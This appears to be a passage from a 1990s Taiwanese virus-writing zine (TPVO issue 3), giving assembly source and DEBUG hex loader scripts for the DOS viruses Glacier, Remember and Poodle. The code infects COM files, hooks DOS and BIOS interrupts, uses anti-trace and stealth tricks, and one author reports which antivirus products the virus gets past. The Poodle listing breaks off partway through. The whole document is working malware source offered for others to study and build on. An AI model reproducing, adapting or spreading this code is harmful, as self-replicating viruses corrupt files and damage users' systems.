; mov cx,5
; mov dx,offset backdata
; call i21
;
; mov ax,word ptr backdata+1
; add ax,3
; mov word ptr es:[di+15h],ax
; push ax
;
; mov dx,virs_byte+10h
; mov cx,virs_byte
; mov ah,3fh
; call i21
;
; push cx
; push es
; push ds
; push di
; pop es
;
; cld
; mov cx,5
; mov si,offset backdata
; push si
; pop di
; add si,virs_byte+10h
; rep movsb
;
; pop di
; pop es
; pop cx
;
; mov ax,offset oldsize
; add ax,virs_byte+10h
; mov word ptr es:[di+15h],ax
;
; mov ah,3fh
; call i21
;
; pop ax
; mov word ptr es:[di+15h],ax
; mov ah,40h
; call i21
;
; mov dx,offset backdata
; mov cx,5
; mov word ptr es:[di+15h],0
; call i21
;
; call pop24h
;
; pop bx
; pop dx
; pop ds
; pop es
; retf 0002h
;v_not_in:
; mov ah,3eh
; call i21
; pop ax
;v_run1:
; call pop24h
;v_run:
; pop dx
; pop ds
; pop es
; jmp int21
vrun:
pusha
push es
push ds
push dx
mov si,dx
push si
vr1:
lodsb
cmp al,'.'
jnz vr1
sub si,4
lodsw
cmp ax,'NA'
jnz vr2
lodsb
cmp al,'D'
jnz vr2
pop si
jmp run
vr2:
pop si
vr3:
lodsb
cmp al,0
jnz vr3
sub si,4
lodsw
cmp ax,'OC'
jnz vr4
lodsb
cmp al,'M'
jnz vr4
jmp vr5
vr4:
jmp run
vr5:
call set24h
mov ax,3d00h
call i21
jc run2
xchg bx,ax
call get_sft
mov ax,word ptr es:[di+11h]
cmp ax,1000h ;4000bytes
jb run1
cmp ax,0e290h ;58000bytes
ja run1
push cs
pop ds
push es
push bx
mov ah,2fh
call i21
mov ax,es:[bx+18h]
shr ah,01h
cmp ah,64h
pop bx
pop es
jb vr6
vr6:
mov ah,3fh
mov cx,5
mov dx,offset backdata
call i21
jc run1
mov ax,word ptr backdata
cmp ah,al
jz run1
mov ax,word ptr backdata+3
cmp ax,'SG'
jz run1
mov al,byte ptr es:[di+4h]
mov f_attrib,al
mov byte ptr es:[di+4h],20h
call intofile
mov ax,5701h
mov cx,oldtime
mov es:[di+0dh],ax
mov dx,olddate
add dh,11001000b
call i21
run1:
call pop24h
mov ah,3eh
call i21
jmp run
run2:
call pop24h
run:
pop dx
pop ds
pop es
popa
popf
jmp int21
set24h:
push es
xor ax,ax
mov es,ax
mov ax,word ptr es:[0090h]
mov word ptr cs:oint24_ip,ax
mov ax,word ptr es:[0092h]
mov word ptr cs:oint24_cs,ax
mov word ptr es:[0090h],offset vint24
mov word ptr es:[0092h],cs
pop es
ret
pop24h:
push es
push ax
xor ax,ax
mov es,ax
mov ax,word ptr cs:oint24_ip
mov word ptr es:[0090h],ax
mov ax,word ptr cs:oint24_cs
mov word ptr es:[0092h],ax
pop ax
pop es
ret
intofile:
push bx
in ax,40h
cmp ax,0
jnz div1
mov ax,2345
div1:
xchg bx,ax
mov ax,word ptr es:[di+11h]
xor dx,dx
div bx
xchg ax,dx
push ax
sub ax,3
mov word ptr cs:s_data[1],ax
pop ax
pop bx ;read old file (???h start!)
push ax
mov word ptr es:[di+15h],ax
mov dx,virs_byte+10h
push cs
pop ds
mov cx,virs_byte
mov ah,3fh
call i21
jc ierr
mov word ptr es:[di+15h],0h
mov cx,5
mov dx,offset cs:s_data
mov ah,40h
call i21
jc ierr
mov dx,virs_byte+10h
mov ax,word ptr es:[di+11h]
mov word ptr es:[di+15h],ax
mov oldsize,ax
mov cx,virs_byte
mov ah,40h
call i21
jc ierr
pop ax ;write virus file to old file
xor dx,dx
mov word ptr es:[di+15h],ax
mov cx,virs_byte
mov ah,40h
call i21
ierr:
mov al,f_attrib
mov byte ptr es:[di+4h],al
or word ptr es:[di+5h],0100000000000000b
ret
geto21h:
push ax
push di
push si
push ds
mov di,si
cld
xor ax,ax
mov ds,ax
mov si,ds:[00c1h]
mov ax,ds:[00c3h]
mov ds,ax
lodsw
cmp ax,9090h
jnz chk_ent
chk_jmp:
lodsb
cmp al,0ffh
jnz chk_jmp
lodsb
cmp al,2eh
jnz chk_jmp
lodsw
mov si,ax
lodsw
push ax
lodsw
pop si
mov ds,ax
chk_ent:
cmp si,0f000h
jae chk_end
lodsb
cmp al,06h
jnz chk_ent
lodsw
cmp ax,551eh
jnz chk_ent
sub si,0003h
mov es:oint21_ip,si
mov es:oint21_cs,ds
chk_end:
pop ds
pop si
pop di
pop ax
ret
get_sft:
push bx
mov ax,1220h
call i2f
mov ax,1216h
xor bh,bh
mov bl,es:[di]
call i2f
mov ax,es:[di+0dh]
mov cs:oldtime,ax
mov ax,es:[di+0fh]
mov cs:olddate,ax
mov word ptr es:[di+2h],2
pop bx
ret
i21:
pushf
call dword ptr cs:oint21_ip
ret
i2f:
pushf
call dword ptr cs:int2f_ip
ret
m1:
msg1 db '[ Glacier v0.1 ]',0dh,0ah
db 'Happy Birthday to Amy. ',7,7,7,7,7,0dh,0ah
db ' Written by Ghost Shadow of TPVO at L.C.T.C.',0dh,0ah
m2:
msg2 db '[ Glacier v0.1 ]',0dh,0ah
db '祝 薛淑文 生日快乐. ',7,7,7,7,7,0dh,0ah
db ' Written by Ghost Shadow of TPVO at L.C.T.C.',0dh,0ah
m3:
int21: db 0eah
int21_ip dw ?
int21_cs dw ?
oint21: db 0eah
oint21_ip dw ?
oint21_cs dw ?
int2f: db 0eah
int2f_ip dw ?
int2f_cs dw ?
oint24_ip dw ?
oint24_cs dw ?
oldtime dw ?
olddate dw ?
oldsize dw ?
f_attrib db ?
msg1size equ offset m2 - offset m1
msg2size equ offset m3 - offset m2
s_data db 0e9h,?,?,'G','S'
backdata db 0cdh,20h,?,?,?
virus_end:
virs_byte equ offset virus_end - offset begin
end begin
========================== End of GLACIER.asm ==========================
n glacier.com
e 0100 66 33 C0 E8 00 00 5E 81 EE 06 00 0E 1F B8 00 83
e 0110 CD 21 3D 83 45 75 73 B4 2A CD 21 81 FA 0D 04 75
e 0120 33 81 C6 B9 03 56 56 5F B9 C2 00 AC 34 45 AA E2
e 0130 FA 5E 33 DB B8 00 91 CD 10 0B DB 74 0D F6 C6 80
e 0140 75 08 83 C6 64 B9 5E 00 EB 03 B9 64 00 AC CD 29
e 0150 E2 FB CD 20 56 BE 03 01 AD 3D 47 53 5E 75 22 BF
e 0160 00 01 56 56 81 C6 9A 04 B9 05 00 F3 A4 5F 5B 81
e 0170 C3 92 04 8B 37 81 C6 00 01 B9 9F 04 B8 FF 83 CD
e 0180 21 33 C0 33 C9 33 F6 33 FF C3 8C C0 48 8E D8 80
e 0190 3E 00 00 5A 75 50 81 06 03 00 6C FF 81 06 12 00
e 01A0 6C FF A1 12 00 0E 1F 8E C0 33 FF B9 9F 04 FC F3
e 01B0 A4 06 1F B8 21 35 CD 21 89 1E 7C 04 8C 06 7E 04
e 01C0 BA 32 01 B4 25 CD 21 B8 2F 35 CD 21 89 1E 86 04
e 01D0 8C 06 88 04 BA E9 00 B4 25 CD 21 1E 07 E8 51 02
e 01E0 0E 0E 1F 07 2B F7 E9 2E FF 9C 3D 16 12 75 27 9D
e 01F0 E8 BF 02 72 1E 50 26 8B 45 0F D0 EC 80 FC 64 72
e 0200 10 26 80 6D 10 C8 26 81 6D 11 9F 04 26 83 5D 13
e 0210 00 58 F8 CA 02 00 9D 2E FF 2E 86 04 32 C0 CF 86
e 0220 E0 B4 45 9D CF 9D 58 B8 00 01 50 56 AC AA E2 FC
e 0230 5F CF 9C 3D 00 83 74 E7 3D FF 83 74 E8 3D 00 4B
e 0240 74 18 80 FC 11 74 15 80 FC 12 74 10 80 FC 4E 74
e 0250 3F 80 FC 4F 74 3A 9D E9 21 03 EB 5F E8 4C 02 80
e 0260 FC FF 74 2A 50 53 06 B4 2F E8 3F 02 26 80 3F FF
e 0270 75 03 83 C3 07 26 8B 47 19 D0 EC 80 FC 64 72 0B
e 0280 26 81 6F 1D 9F 04 26 83 5F 1F 00 07 5B 58 9D CF
e 0290 9D E8 17 02 72 22 50 53 06 B4 2F E8 0D 02 26 8B
e 02A0 47 18 D0 EC 80 FC 64 72 0B 26 81 6F 1A 9F 04 26
e 02B0 83 5F 1C 00 07 5B 58 F8 CA 02 00 60 06 1E 52 8B
e 02C0 F2 56 AC 3C 2E 75 FB 83 EE 04 AD 3D 41 4E 75 09
e 02D0 AC 3C 44 75 04 5E E9 99 00 5E AC 3C 00 75 FB 83
e 02E0 EE 04 AD 3D 43 4F 75 07 AC 3C 4D 75 02 EB 03 E9
e 02F0 80 00 E8 85 00 B8 00 3D E8 B0 01 72 72 93 E8 80
e 0300 01 26 8B 45 11 3D 00 10 72 5B 3D 90 E2 77 56 0E
e 0310 1F 06 53 B4 2F E8 93 01 26 8B 47 18 D0 EC 80 FC
e 0320 64 5B 07 72 00 B4 3F B9 05 00 BA 9A 04 E8 7B 01
e 0330 72 33 A1 9A 04 3A E0 74 2C A1 9D 04 3D 47 53 74
e 0340 24 26 8A 45 04 A2 94 04 26 C6 45 04 20 E8 66 00
e 0350 B8 01 57 8B 0E 8E 04 26 89 45 0D 8B 16 90 04 80
e 0360 C6 C8 E8 46 01 E8 35 00 B4 3E E8 3E 01 EB 03 E8
e 0370 2B 00 5A 1F 07 61 9D E9 01 02 06 33 C0 8E C0 26
e 0380 A1 90 00 2E A3 8A 04 26 A1 92 00 2E A3 8C 04 26
e 0390 C7 06 90 00 1C 01 26 8C 0E 92 00 07 C3 06 50 33
e 03A0 C0 8E C0 2E A1 8A 04 26 A3 90 00 2E A1 8C 04 26
e 03B0 A3 92 00 58 07 C3 53 E5 40 3D 00 00 75 03 B8 29
e 03C0 09 93 26 8B 45 11 33 D2 F7 F3 92 50 2D 03 00 2E
e 03D0 A3 96 04 58 5B 50 26 89 45 15 BA AF 04 0E 1F B9
e 03E0 9F 04 B4 3F E8 C4 00 72 3A 26 C7 45 15 00 00 B9
e 03F0 05 00 BA 95 04 B4 40 E8 B1 00 72 27 BA AF 04 26
e 0400 8B 45 11 26 89 45 15 A3 92 04 B9 9F 04 B4 40 E8
e 0410 99 00 72 0F 58 33 D2 26 89 45 15 B9 9F 04 B4 40
e 0420 E8 88 00 A0 94 04 26 88 45 04 26 81 4D 05 00 40
e 0430 C3 50 57 56 1E 8B FE FC 33 C0 8E D8 8B 36 C1 00
e 0440 A1 C3 00 8E D8 AD 3D 90 90 75 13 AC 3C FF 75 FB
e 0450 AC 3C 2E 75 F6 AD 8B F0 AD 50 AD 5E 8E D8 81 FE
e 0460 00 F0 73 18 AC 3C 06 75 F5 AD 3D 1E 55 75 EF 83
e 0470 EE 03 26 89 36 81 04 26 8C 1E 83 04 1F 5E 5F 58
e 0480 C3 53 B8 20 12 E8 2A 00 B8 16 12 32 FF 26 8A 1D
e 0490 E8 1F 00 26 8B 45 0D 2E A3 8E 04 26 8B 45 0F 2E
e 04A0 A3 90 04 26 C7 45 02 02 00 5B C3 9C 2E FF 1E 81
e 04B0 04 C3 9C 2E FF 1E 86 04 C3 5B 20 47 6C 61 63 69
e 04C0 65 72 20 76 30 2E 31 E1 20 5D 0D 0A 48 61 70 70
e 04D0 79 20 42 69 72 74 68 64 61 79 20 74 6F 20 41 6D
e 04E0 79 2E 20 07 07 07 07 07 0D 0A 20 20 20 20 20 20
e 04F0 57 72 69 74 74 65 6E 20 62 79 20 47 68 6F 73 74
e 0500 20 53 68 61 64 6F 77 20 6F 66 20 54 50 56 4F 20
e 0510 61 74 20 4C 2E 43 2E 54 2E 43 2E 0D 0A 5B 20 47
e 0520 6C 61 63 69 65 72 20 76 30 2E 31 E1 20 5D 0D 0A
e 0530 AF AC 20 C1 A7 B2 51 A4 E5 20 A5 CD A4 E9 A7 D6
e 0540 BC D6 2E 20 07 07 07 07 07 0D 0A 20 20 20 57 72
e 0550 69 74 74 65 6E 20 62 79 20 47 68 6F 73 74 20 53
e 0560 68 61 64 6F 77 20 6F 66 20 54 50 56 4F 20 61 74
e 0570 20 4C 2E 43 2E 54 2E 43 2E 0D 0A EA 00 00 00 00
e 0580 EA 00 00 00 00 EA 00 00 00 00 00 00 00 00 00 00
e 0590 00 00 00 00 00 E9 00 00 47 53 CD 20
rcx
49C
w
q
--
TpVOtPVoTpvOTpVOtpVoTPvOTPVOtpVOTPvOtPVOtPVOtPvOTPvOTpVoTPVO
PT OT
VP 台 湾 威 力 病 毒 组 织 病毒杂志 第 三 期 TP
oV PV
TO   Remember 病毒   Vo
pT OT
VP by Min Jean VP
OV OV
OVTPVoTpvOtPvoTPVOtPvoTpVotpvoTpVotpvOtPvoTpVOtpvOTPvOTpvOTP

==============================================================
嗯.....终于在这期的杂志和大家见面了,要说些什么好呢??
算了,直接切入正题好了,今天要跟大家介绍REMEMBER Virus .
REMEMBER 最初的版本并不是你现在所看的这个版本,先来向大家介绍一下发展史.
最初版,什么技巧都没有,只会开档&写档&关档。
第一次改版,加入了讯息部份.
第二次改版,加入了简单的错误处理
第三次改版,加入简单的ANTI-TRACE
第四次改版,拦中断
第五次改版,加了什么自己也不清楚,一堆有的没的:)
你可能会问,为什么改了这么多次,这毒还是这样烂?
告诉你吧,原因无他,主要就是想到就改,而每次都改一点点,
有时后甚至加一些无聊的东东.
REMEMBER 的发展大概就是这样子,虽然都没什么长进,但至少他还是一只有特色的毒
附注:
你可能会觉得以下的程式码很面熟的样子,没办法写的太普通了(至少我是这么认为)
注解我写得也不会很详尽,但对有点组合语言基础的人,这毒应该不会很难:)
另外关于讯息方面,不要来问我为什么写那些,原因很简单,就只因为我喜欢。
希望此毒对各位有所帮助(写作方面),请勿将此毒作任意修改,尤其是讯息..
好了废话不多说了,自己慢慢研究吧........(多多发挥想像力)
============================================================================
; This is source code of [ REMEMBER ]
; Written by Jean at Taiwan Panchiao
; 1995.09.22
;

ID_WORD EQU 'RE'
CODE SEGMENT
ASSUME CS:CODE,DS:CODE,ES:CODE
ORG 0100h
START:
NOP
NOP
NOP
NOP
NOP
VIR_START:
MOV BP,SP ; Anti-Trace and
CLI ; Anti-TBClean.
MOV SP,0000H
MOV SP,BP
STI
GO:
INT 01h ; 这里是作什么的呢??
INT 03h ; Trace 看看就晓得了:)
INT 75h ; 虽然不是什么好技巧:p
CALL BEGIN
BEGIN:
POP BP
SUB BP,OFFSET BEGIN ;BP=BP-BEGIN
MOV AH,2ah ;取日期
INT 21h ;
CMP DX,0418h ;判断是否为 4月24日
JNZ CHANGE ;不是就跳喽
show:
; mov ax, 3521h ; get int 21h handler
; int 21h ; (这行加了也没什用,需要的话
; ; 自己再加上去吧,多多发挥想
; push es ; 像力..)
; pop ds ;
; xchg bx, dx ;
; mov ax, 2503h ; int 3 = int 21h
; int 21h
MOV AX,9100h ;
INT 10h ;
CMP AX,9100h ;判断记忆体中是否有中文存在
JZ CHANGE ;不是就跳喽
MOV AX,804Eh ;若是在英文模式就切换到中文状态
INT 10h ;
MOV AH,09h ;show 中文讯息
MOV DX,OFFSET msg ;
INT 21h ;
JC NO_MSG
; mov ax,0505h ;
; xor bx,bx ;
; mov cx,01h ;
; mov dx,80h ;
; int 13h ;

JMP CHANGE
NO_MSG:
MOV WORD PTR CS:REG_AX,4c00h

CHANGE:
MOV [BP+OFFSET OLD_SS],SS
XOR AX,AX ; 更改 Stack
MOV SS,AX ;
MOV SS,DS:[BP+OFFSET OLD_SS]
MOV AX,3521h ;拦截 int 21
INT 21h
MOV WORD PTR [BP+OFFSET OLDINT21H],BX
MOV WORD PTR [BP+OFFSET OLDINT21H+0002h],ES
PUSH CS
POP ES
MOV AX,1203h ; 取得原始 INT 21h 的节区
INT 2Fh ;
XOR DI,DI ;
FIND_INT21:
INC DI ;INC 为目的运算元,加一减一
CMP DI,0FFF8h
JAE FIND_INT21_EXIT
CMP WORD PTR [DI],80FAh
JNE FIND_INT21
CMP WORD PTR [DI+02h],6CFCh
JNE FIND_INT21
CMP BYTE PTR [DI+04h],77h
JNE FIND_INT21
XCHG DX,DI ;资料互换
MOV AX,2521h ;将int 21 指向自己的 ISR 进入点
INT 21h
FIND_INT21_EXIT:
PUSH CS
POP DS
LEA SI,[BP+OFFSET HEAD_READ]
MOV DI,0100h
CLD
MOVSB
MOVSW
MOVSW
MOV AH,1Ah ;设定新的DTA 位址
LEA DX,[BP+OFFSET NEWDTA] ;新的DTA 起始位址
INT 21h
MOV AH,4Eh ;找寻相符的档案
LEA DX,[BP+OFFSET FINDFILE] ;找寻档案的属性
INT 21h
JC NO_FILE
INFECT_IT:
CALL INFECT
MOV AH,4Fh ;承接ah,4eh 继续寻找
INT 21h
JNC INFECT_IT
NO_FILE:
MOV AH,1Ah ;新的DTA 起始位址
MOV DX,0080h ;DTA 起始位址
INT 21h
MOV AX,2521h ;指向自己的int 21
LDS DX,DWORD PTR [BP+OFFSET OLDINT21H]
INT 21h
PUSH CS
POP DS
MOV AX,0100h
PUSH AX
RET
msg db 0dh,0ah,0dh
db '┌------------------------------┐',0dh,0ah
DB '│ [ REMEMBER ] │',0dh,0ah
DB '│ │',0dh,0ah
DB '│  祝 曾怡珍 生日快乐  │',0dh,0ah
DB '│ │',0dh,0ah
DB '│ 最真的感情 最真的祝福 │',0dh,0ah
DB '│ │',0dh,0ah
DB '│ 在此刻都将付诸于你 │',0dh,0ah
DB '│ │',0dh,0ah
DB '│ 愿此时你能收到这突来的祝福 │',0dh,0ah
DB '│ │',0dh,0ah
db '├------------------------------┤',0dh,0ah
db '│- Written by Jean July. (C). -│',0dh,0ah
db '└───────────────┘',0dh,0ah
db 07h,'$'
;msg1 db 0dh,0ah,0dh
; db '                 ,0dh,0ah
; db ' [ REMEMBER ] ,0dh,0ah
; db ' Hello . Long time no see . ,0dh,0ah
; db ' Today is a nice day . So.. ,0dh,0ah
; db ' I will tell you , you gate ,0dh,0ah
; db ' a virus . Ha...Ha...Ha.... ,0dh,0ah
; db '                 ,0dh,0ah
; db ' (C)Copyright ,0dh,0ah
; db ' Written by Jean July ,0dh,0ah
; db '                 ,0dh,0ah
; DB 07H,'$'
INFECT PROC NEAR
MOV AX,3D02h ;开启一个可读写的档案
LEA DX,[BP+OFFSET NEWDTA+001Eh] ;DS:DX=档案的路径和名称
INT 21h
JC OPEN_ERROR
XCHG BX,AX ;资料互换
MOV AH,3Fh ;读取一个档案
MOV CX,0005h ;读取的byte 数
LEA DX,[BP+OFFSET HEAD_READ] ;缓冲区的位址
INT 21h
CMP WORD PTR [BP+OFFSET HEAD_READ+0003h],ID_WORD
JE CLOSE_FILE
MOV AX,0242h ;输入一个字元
XCHG AH,AL ;
XOR DX,DX ;
MOV CX,DX ;
INT 21h
SUB AX,0003h
MOV [BP+OFFSET HEAD_WRITE+0001h],AX
MOV AH,40h ;写档
MOV CX,VIR_SIZE ;写入的byte 数
LEA DX,[BP+OFFSET VIR_START] ;缓冲区位址
INT 21h
MOV AX,4200h ;移动读写指标(移动方法 al=0 从头开始)
XOR CX,CX ;
CWD
INT 21h
MOV AH,40h ;写档
MOV CX,0005h ;写入的byte 数
LEA DX,[BP+OFFSET HEAD_WRITE] ;
INT 21h
CLOSE_FILE:
MOV AH,3Eh ;关档
INT 21h
OPEN_ERROR:
RET
INFECT ENDP
HEAD_READ DB 0CDh,20h,00h,00h,00h
HEAD_WRITE DB 0E9h,00h,00h
DW ID_WORD
FINDFILE DB '*.COM',00h
OLD_SS DW 0000h
OLDINT21H DD 00000000h
VIR_SIZE EQU $-OFFSET VIR_START
NEWDTA DB 2Bh DUP(00h)
REG_AX DW ?
CODE ENDS
END START
=============================================================================
N REMEMBER.COM
E 0100 90 90 90 90 90 8B EC FA BC 00 00 8B E5 FB CD 01
E 0110 CC CD 75 E8 00 00 5D 81 ED 16 01 B4 2A CD 21 81
E 0120 FA 18 04 75 21 B8 00 91 CD 10 3D 00 91 74 17 B8
E 0130 4E 80 CD 10 B4 09 BA CC 01 CD 21 72 02 EB 07 2E
E 0140 C7 06 60 04 00 4C 3E 8C 96 2F 04 33 C0 8E D0 3E
E 0150 8E 96 2F 04 B8 21 35 CD 21 3E 89 9E 31 04 3E 8C
E 0160 86 33 04 0E 07 B8 03 12 CD 2F 33 FF 47 83 FF F8
E 0170 73 1A 81 3D FA 80 75 F4 81 7D 02 FC 6C 75 ED 80
E 0180 7D 04 77 75 E7 87 D7 B8 21 25 CD 21 0E 1F 8D B6
E 0190 1F 04 BF 00 01 FC A4 A5 A5 B4 1A 8D 96 35 04 CD
E 01A0 21 B4 4E 8D 96 29 04 CD 21 72 09 E8 1B 02 B4 4F
E 01B0 CD 21 73 F7 B4 1A BA 80 00 CD 21 B8 21 25 3E C5
E 01C0 96 31 04 CD 21 0E 1F B8 00 01 50 C3 0D 0A 0D A2
E 01D0 7A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D
E 01E0 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D A2
E 01F0 7B 0D 0A A2 78 20 20 20 20 20 20 20 20 20 5B 20
E 0200 52 45 4D 45 4D 42 45 52 20 5D 20 20 20 20 20 20
E 0210 20 20 20 A2 78 0D 0A A2 78 20 20 20 20 20 20 20
E 0220 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0230 20 20 20 20 20 20 20 A2 78 0D 0A A2 78 20 20 20
E 0240 A1 B1 20 AF AC 20 B4 BF A9 C9 AC C3 20 A5 CD A4
E 0250 E9 A7 D6 BC D6 20 A1 B1 20 20 20 A2 78 0D 0A A2
E 0260 78 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0270 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 A2
E 0280 78 0D 0A A2 78 20 20 20 20 B3 CC AF 75 AA BA B7
E 0290 50 B1 A1 20 20 B3 CC AF 75 AA BA AF AC BA D6 20
E 02A0 20 20 20 A2 78 0D 0A A2 78 20 20 20 20 20 20 20
E 02B0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 02C0 20 20 20 20 20 20 20 A2 78 0D 0A A2 78 20 20 20
E 02D0 20 20 20 A6 62 A6 B9 A8 E8 B3 A3 B1 4E A5 49 BD
E 02E0 D1 A9 F3 A9 70 20 20 20 20 20 20 A2 78 0D 0A A2
E 02F0 78 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0300 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 A2
E 0310 78 0D 0A A2 78 20 20 C4 40 A6 B9 AE C9 A9 70 AF
E 0320 E0 A6 AC A8 EC B3 6F AC F0 A8 D3 AA BA AF AC BA
E 0330 D6 20 20 A2 78 0D 0A A2 78 20 20 20 20 20 20 20
E 0340 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0350 20 20 20 20 20 20 20 A2 78 0D 0A A2 75 2D 2D 2D
E 0360 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D
E 0370 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D A2 74 0D 0A A2
E 0380 78 2D 20 57 72 69 74 74 65 6E 20 62 79 20 4A 65
E 0390 61 6E 20 4A 75 6C 79 2E 20 28 43 29 2E 20 2D A2
E 03A0 78 0D 0A A2 7C A2 77 A2 77 A2 77 A2 77 A2 77 A2
E 03B0 77 A2 77 A2 77 A2 77 A2 77 A2 77 A2 77 A2 77 A2
E 03C0 77 A2 77 A2 7D 0D 0A 07 24 B8 02 3D 8D 96 53 04
E 03D0 CD 21 72 4A 93 B4 3F B9 05 00 8D 96 1F 04 CD 21
E 03E0 3E 81 BE 22 04 45 52 74 31 B8 42 02 86 E0 33 D2
E 03F0 8B CA CD 21 2D 03 00 3E 89 86 25 04 B4 40 B9 30
E 0400 03 8D 96 05 01 CD 21 B8 00 42 33 C9 99 CD 21 B4
E 0410 40 B9 05 00 8D 96 24 04 CD 21 B4 3E CD 21 C3 CD
E 0420 20 00 00 00 E9 00 00 45 52 2A 2E 43 4F 4D 00 00
E 0430 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0440 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0450 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
RCX
0360
W
Q

--
TpVOtPVoTpvOTpVOtpVoTPvOTPVOtpVOTPvOtPVOtPVOtPvOTPvOTpVoTPVO
PT OT
VP 台 湾 威 力 病 毒 组 织 病毒杂志 第 三 期 TP
oV PV
TO   Poodle v1.0 病毒   Vo
pT OT
VP by H.D. VP
OV OV
OVTPVoTpvOtPvoTPVOtPvoTpVotpvoTpVotpvOtPvoTpVOtpvOTPvOTpvOTP

==============================================================
; 嗨!各位朋友好!
; 这只毒是我蛮久以前写的,最近看到拿出来再改一改。写得有些简陋,不过
; 还勉强可以用啦..
; -------------------------------------------------------------------------
; 病毒名称: Poodle
; 版 本: 1.0
; 长 度: 1414 bytes
; 感染条件: 大于 4100 byte 小于 63000 byte 的 com 档
; 发作情形: 每年 11 月期间执行带毒档案秀出讯息且拒绝执行 (无破坏性)
; 其 它: 共有 6 组编码,说她多形算勉强(connie 1.0 那型)
; 拦 int 13h, int 15h, int 21h, int 2ah 中断
; dir 时会隐藏大小
; -------------------------------------------------------------------------
; 这只毒写得很简单,应该很容易看懂,里面有一些追进入点的小技巧,想学的人
; 可以看看。还有,这只毒若在你的电脑上会当,那可能是解码时发生的伫列问题
; 在我的电脑上是没问题,若在你的电脑会当那可能就是这个原因了..
; -------------------------------------------------------------------------
; 对于防毒我试了四种,结果如下:
;
; ┌─────┬─────────┬───────────────────┐
; │ 防毒名称 │ 版 本 │ 测 试 结 果 │
; ├─────┼─────────┼───────────────────┤
; │ ZLOCK │ J4.61 '95 PW40 版│不管一般或防写模式下拦截率约仅三成左右│
; ├─────┼─────────┼───────────────────┤
; │ PCCILLIN │ v5.0 版 │PCC_DEV.SYS 载入下会当掉;不载入被突破│
; ├─────┼─────────┼───────────────────┤
; │ TPLUS │ v0.97a 版 │可成功防御 │
; ├─────┼─────────┼───────────────────┤
; │ VSAFE │ DOS v6.22 版 │功能 & 防写全开仍被突破 │
; └─────┴─────────┴───────────────────┘
; -------------------------------------------------------------------------
; Written By [H.D] at TPVO 1996.2
; -------------------------------------------------------------------------
.model tiny
.code
org 100h
start:
db 0bbh,00,00 ;定偏移值..
mov ax,'WL' ;看看有没有同伴已常驻了..
int 21h
cmp ax,'HO'
jnz inst_vir ;没有就常驻去....
mov ah,2ah ;取日期
int 21h
cmp dh,0bh ;是不是 11 月啊...
jnz exit_vir
mov ah,09h ;Show Mark 出来..
mov dx,offset vir_msg
add dx,bx
int 21h
int 20h
inst_vir:
mov ax,cs:[0016h] ;取父程式的段位址 ..
mov cs:[cmmd_addr+bx],ax
push es ;放到 9000:0100 里 ..
mov ax,9000h
mov es,ax
mov si,offset start
add si,bx
mov di,0100h
mov cx,vir_size
rep
movsb
pop es
pushf
db 9ah
dw offset vir_tsr
db 00h,90h
exit_vir:
mov si,0100h ;执行原来的程式 ..
mov di,offset buffer_02
add di,bx
mov ax,cs:[di]
mov cs:[si],ax
mov ah,cs:[di+2]
mov cs:[si+2],ah
jmp si
vir_tsr:
push bx
push ds
xor ax,ax
mov ds,ax
mov ax,offset trace_oint13 ;取原始 13h 中断 ..
mov bl,13h
call int_1 ;启动单步 ..
mov ax,offset trace_oint15 ;取 15h 中断 (非原始) ..
mov bl,15h
call int_1 ;启动单步 ..
pop ds
call get_oint21 ;取原始 21h 中断 ..
call set_oint21 ;在 Int 21h 里插根花 ..
pop bx
iret
;----------------------------------------------------------------------------
int_1: ;单步搜索 ..
cli
mov word ptr ds:[0004],ax
mov word ptr ds:[0006],cs
sti
mov ah,35h
mov al,bl
int 21h
call open_flag_T
pushf
push cs
mov ax,offset j_03
push ax
mov ax,0ffffh
push es ; \
push bx ; |=== int xxh
retf ; /
j_03:
call close_flag_T
mov byte ptr cs:[trace_flag],0
ret
;----------------------------------------------------------------------------
trace_oint13: ;找 Int 13h 的原始进入点 ..
push ax
push bp
cmp byte ptr cs:[trace_flag],1
jz j_04
mov bp,sp
mov ax,[bp+6]
cmp ax,0f000h
jnz j_04
mov cs:[oint13_h],ax
mov ax,[bp+4]
mov cs:[oint13_l],ax
mov byte ptr cs:[trace_flag],1
j_04:
pop bp
pop ax
iret
;----------------------------------------------------------------------------
trace_oint15: ;找 Int 15h 的进入点 ..
push ax
push bp
cmp byte ptr cs:[trace_flag],1
jz j_24
mov bp,sp
mov ax,ss:[bp+6]
cmp ax,cs:[cmmd_addr]
jnb j_24
mov cs:[oint15_h],ax
mov ax,[bp+4]
mov cs:[oint15_l],ax
mov byte ptr cs:[trace_flag],1
j_24:
pop bp
pop ax
iret
;--------------------------------------------------------------------------
open_flag_T: ;开启单步旗标 ..
pushf
pop ax
or ah,00000011b
push ax
popf
ret
close_flag_T:
pushf ;关闭单步旗标 ..
pop ax
and ah,11111110b
push ax
popf
ret
;---------------------------------------------------------------------------
get_oint21: ;取 int 21h 原始进入点 ..
mov si,0006h ;使用 PSP 6-9 Byte 的位址 ..
lds bx,[si]
mov si,bx
lds bx,[si+1]
cmp word ptr [bx+06h],2effh ;Int 21h 在高层记忆体吗?
jnz j_05
mov bx,[bx+08h]
lds bx,[bx]
j_05:
mov cx,0035h
add bx,cx
j_06:
inc bx
cmp word ptr [bx],8e2eh
jnz j_07
mov ax,bx
j_07:
loop j_06
mov cs:[oint21_l],ax
mov cs:[oint21_h],ds
mov bx,ax
mov ax,[bx+3]
mov cs:[i21_x],ax
ret
;----------------------------------------------------------------------------
set_oint21: ;差花的副程式 ..
push cs
pop ds
mov bx,[oint21_l]
mov ax,[oint21_h]
add bl,05
mov [int21_l],bx
mov [int21_h],ax
mov bx,[oint21_l]
mov ds,ax
mov ax,offset vir_int21
cli
mov [bx+1],ax
mov [bx+3],9000h
mov byte ptr [bx],0eah
sti
ret
